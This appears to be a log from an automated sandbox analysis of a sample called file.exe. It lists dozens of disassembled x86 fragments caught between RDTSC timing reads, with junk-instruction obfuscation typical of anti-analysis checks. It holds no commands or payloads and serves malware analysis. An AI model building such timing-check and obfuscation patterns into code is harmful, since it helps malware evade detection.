Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0E37 second address: 4CA0E99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD5173671A8h 0x0000000f pushad 0x00000010 mov si, A873h 0x00000014 mov ah, 58h 0x00000016 popad 0x00000017 mov ecx, eax 0x00000019 jmp 00007FD4A4C5469Bh 0x0000001e xor eax, dword ptr [ebp+08h] 0x00000021 pushad 0x00000022 mov eax, ebx 0x00000024 mov ebx, 0913DF24h 0x00000029 popad 0x0000002a and ecx, 1Fh 0x0000002d jmp 00007FD4A4C546A3h 0x00000032 ror eax, cl 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0E99 second address: 4CA0E9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0E9F second address: 4CA0F20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C5469Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FD4A4C5469Ch 0x00000012 adc si, E838h 0x00000017 jmp 00007FD4A4C5469Bh 0x0000001c popfd 0x0000001d mov ch, DEh 0x0000001f popad 0x00000020 pushfd 0x00000021 jmp 00007FD4A4C546A5h 0x00000026 sbb eax, 596B76D6h 0x0000002c jmp 00007FD4A4C546A1h 0x00000031 popfd 0x00000032 popad 0x00000033 retn 0004h 0x00000036 nop 0x00000037 mov esi, eax 0x00000039 lea eax, dword ptr [ebp-08h] 0x0000003c xor esi, dword ptr [00D52014h] 0x00000042 push eax 0x00000043 push eax 0x00000044 push eax 0x00000045 lea eax, dword ptr [ebp-10h] 0x00000048 push eax 0x00000049 call 00007FD4A8BE55A9h 0x0000004e push FFFFFFFEh 0x00000050 jmp 00007FD4A4C5469Eh 0x00000055 pop eax 0x00000056 pushad 0x00000057 push ecx 0x00000058 mov ebx, 7F700310h 0x0000005d pop edi 0x0000005e push eax 0x0000005f push edx 0x00000060 mov edx, eax 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0F20 second address: 4CA0F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ret 0x00000006 nop 0x00000007 push eax 0x00000008 call 00007FD4A8E69595h 0x0000000d mov edi, edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD4A4ED8678h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0F42 second address: 4CA0F7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4A4C546A1h 0x00000009 or cx, EAF6h 0x0000000e jmp 00007FD4A4C546A1h 0x00000013 popfd 0x00000014 mov eax, 02ADC3E7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0F7D second address: 4CA0F81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0F81 second address: 4CA0F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60042 second address: 4C60071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FD4A4ED8671h 0x0000000a xor eax, 6C6DA9C6h 0x00000010 jmp 00007FD4A4ED8671h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60071 second address: 4C60077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60077 second address: 4C6007B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6007B second address: 4C6012D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov edi, 747AE268h 0x00000010 movsx edi, si 0x00000013 popad 0x00000014 and esp, FFFFFFF8h 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FD4A4C546A6h 0x0000001e or ax, B4C8h 0x00000023 jmp 00007FD4A4C5469Bh 0x00000028 popfd 0x00000029 movzx ecx, dx 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f push esi 0x00000030 mov dx, B610h 0x00000034 pop edx 0x00000035 popad 0x00000036 mov dword ptr [esp], ecx 0x00000039 jmp 00007FD4A4C5469Bh 0x0000003e xchg eax, ebx 0x0000003f pushad 0x00000040 call 00007FD4A4C546A4h 0x00000045 push esi 0x00000046 pop ebx 0x00000047 pop esi 0x00000048 pushfd 0x00000049 jmp 00007FD4A4C546A7h 0x0000004e sbb si, CDCEh 0x00000053 jmp 00007FD4A4C546A9h 0x00000058 popfd 0x00000059 popad 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e mov eax, edi 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6012D second address: 4C6019C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD4A4ED8679h 0x00000008 xor cl, FFFFFFB6h 0x0000000b jmp 00007FD4A4ED8671h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov dx, si 0x00000016 popad 0x00000017 xchg eax, ebx 0x00000018 jmp 00007FD4A4ED866Ah 0x0000001d mov ebx, dword ptr [ebp+10h] 0x00000020 jmp 00007FD4A4ED8670h 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b jmp 00007FD4A4ED8673h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6019C second address: 4C601DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007FD4A4C5469Bh 0x0000000b add cl, FFFFFFFEh 0x0000000e jmp 00007FD4A4C546A9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD4A4C5469Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C601DC second address: 4C601F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED866Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ah, bh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C601F3 second address: 4C601F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C601F8 second address: 4C60217 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8673h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60217 second address: 4C6021C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6021C second address: 4C60231 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED866Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60231 second address: 4C60235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60235 second address: 4C60252 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8679h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60252 second address: 4C60276 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4A4C5469Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60276 second address: 4C6027C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6027C second address: 4C60280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60280 second address: 4C60284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60284 second address: 4C60364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 jmp 00007FD4A4C546A9h 0x0000000e test esi, esi 0x00000010 jmp 00007FD4A4C5469Eh 0x00000015 je 00007FD5173A29F5h 0x0000001b pushad 0x0000001c movzx ecx, bx 0x0000001f call 00007FD4A4C546A3h 0x00000024 call 00007FD4A4C546A8h 0x00000029 pop eax 0x0000002a pop edi 0x0000002b popad 0x0000002c cmp dword ptr [esi+08h], DDEEDDEEh 0x00000033 jmp 00007FD4A4C5469Eh 0x00000038 je 00007FD5173A29BEh 0x0000003e pushad 0x0000003f pushad 0x00000040 pushad 0x00000041 popad 0x00000042 movzx ecx, bx 0x00000045 popad 0x00000046 mov esi, edx 0x00000048 popad 0x00000049 mov edx, dword ptr [esi+44h] 0x0000004c jmp 00007FD4A4C546A1h 0x00000051 or edx, dword ptr [ebp+0Ch] 0x00000054 pushad 0x00000055 pushfd 0x00000056 jmp 00007FD4A4C5469Ch 0x0000005b add ecx, 17BBE058h 0x00000061 jmp 00007FD4A4C5469Bh 0x00000066 popfd 0x00000067 popad 0x00000068 test edx, 61000000h 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007FD4A4C546A0h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60364 second address: 4C603C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4A4ED8671h 0x00000009 xor cx, DEA6h 0x0000000e jmp 00007FD4A4ED8671h 0x00000013 popfd 0x00000014 movzx esi, di 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jne 00007FD517626958h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FD4A4ED8674h 0x00000029 sbb si, 8F78h 0x0000002e jmp 00007FD4A4ED866Bh 0x00000033 popfd 0x00000034 pushad 0x00000035 popad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C603C8 second address: 4C603DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4C546A2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C603DE second address: 4C6043C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED866Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [esi+48h], 00000001h 0x0000000f pushad 0x00000010 mov di, ax 0x00000013 pushfd 0x00000014 jmp 00007FD4A4ED8670h 0x00000019 jmp 00007FD4A4ED8675h 0x0000001e popfd 0x0000001f popad 0x00000020 jne 00007FD5176268E8h 0x00000026 jmp 00007FD4A4ED866Eh 0x0000002b test bl, 00000007h 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6043C second address: 4C60459 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60459 second address: 4C60469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4ED866Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C508A1 second address: 4C508A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C508A7 second address: 4C508AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C508AD second address: 4C508B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C508B1 second address: 4C508D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8678h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ecx, 3584990Dh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C508D9 second address: 4C508F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a mov cx, di 0x0000000d mov edx, 596CF740h 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 movzx esi, dx 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C509E6 second address: 4C50A33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8679h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007FD4A4ED866Eh 0x00000015 mov ecx, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD4A4ED8677h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50A33 second address: 4C50A5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD5173A9FE9h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ecx, edx 0x00000014 mov si, bx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50A5F second address: 4C50AC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 jmp 00007FD4A4ED866Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test byte ptr [77436968h], 00000002h 0x00000014 jmp 00007FD4A4ED8670h 0x00000019 jne 00007FD51762DF94h 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FD4A4ED866Dh 0x00000026 or al, 00000016h 0x00000029 jmp 00007FD4A4ED8671h 0x0000002e popfd 0x0000002f popad 0x00000030 mov edx, dword ptr [ebp+0Ch] 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FD4A4ED866Dh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50AC5 second address: 4C50B0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4A4C546A7h 0x00000009 sbb eax, 09ABFAFEh 0x0000000f jmp 00007FD4A4C546A9h 0x00000014 popfd 0x00000015 mov dx, cx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50B0D second address: 4C50B1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED866Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50B1C second address: 4C50B5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, ECh 0x00000005 mov eax, 7ABF2927h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 mov ebx, 178F0D6Ch 0x00000015 call 00007FD4A4C546A5h 0x0000001a pop esi 0x0000001b popad 0x0000001c movsx ebx, ax 0x0000001f popad 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD4A4C5469Fh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50B5E second address: 4C50B7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD4A4ED8673h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50BF0 second address: 4C50BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50BF6 second address: 4C50BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50BFB second address: 4C50C8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 6F81h 0x00000007 movzx eax, dx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FD4A4C5469Fh 0x00000015 adc cl, FFFFFFAEh 0x00000018 jmp 00007FD4A4C546A9h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FD4A4C546A0h 0x00000024 add esi, 39546428h 0x0000002a jmp 00007FD4A4C5469Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov esp, ebp 0x00000033 jmp 00007FD4A4C546A6h 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FD4A4C546A7h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50C8D second address: 4C50CA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4ED8674h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50CA5 second address: 4C50CA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E1D second address: 4C60E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop edi 0x0000000d push esi 0x0000000e pop edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E2D second address: 4C60E54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 push ecx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD4A4C546A9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E54 second address: 4C60E5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E5A second address: 4C60E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60B51 second address: 4C60B55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60B55 second address: 4C60B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60B5B second address: 4C60BA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD4A4ED866Ch 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FD4A4ED866Bh 0x0000000f xor ch, FFFFFFEEh 0x00000012 jmp 00007FD4A4ED8679h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD4A4ED866Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60BA7 second address: 4C60C11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007FD4A4C546A3h 0x0000000b or ax, 78AEh 0x00000010 jmp 00007FD4A4C546A9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a jmp 00007FD4A4C546A1h 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FD4A4C546A8h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60C11 second address: 4C60C15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60C15 second address: 4C60C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60C1B second address: 4C60C57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 jmp 00007FD4A4ED8679h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007FD4A4ED866Eh 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 movsx ebx, si 0x0000001c mov edi, ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0B7C second address: 4CD0B82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0B82 second address: 4CD0B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0B86 second address: 4CD0BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov al, 3Ah 0x0000000c mov ch, bl 0x0000000e popad 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FD4A4C5469Ah 0x00000015 mov ebp, esp 0x00000017 jmp 00007FD4A4C546A0h 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD4A4C5469Ah 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0BC1 second address: 4CD0BC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0BC7 second address: 4CD0BCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0EA1 second address: 4CC0EE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 55h 0x00000005 mov edi, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FD4A4ED8673h 0x00000015 adc esi, 2BBA92AEh 0x0000001b jmp 00007FD4A4ED8679h 0x00000020 popfd 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0EE6 second address: 4CC0EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0CB8 second address: 4CC0D6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8671h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD4A4ED866Eh 0x0000000f push eax 0x00000010 jmp 00007FD4A4ED866Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FD4A4ED8674h 0x0000001d and eax, 5CCF4E18h 0x00000023 jmp 00007FD4A4ED866Bh 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007FD4A4ED8678h 0x0000002f jmp 00007FD4A4ED8675h 0x00000034 popfd 0x00000035 popad 0x00000036 mov ebp, esp 0x00000038 jmp 00007FD4A4ED866Eh 0x0000003d pop ebp 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FD4A4ED8677h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD01D4 second address: 4CD01D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD01D8 second address: 4CD01DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
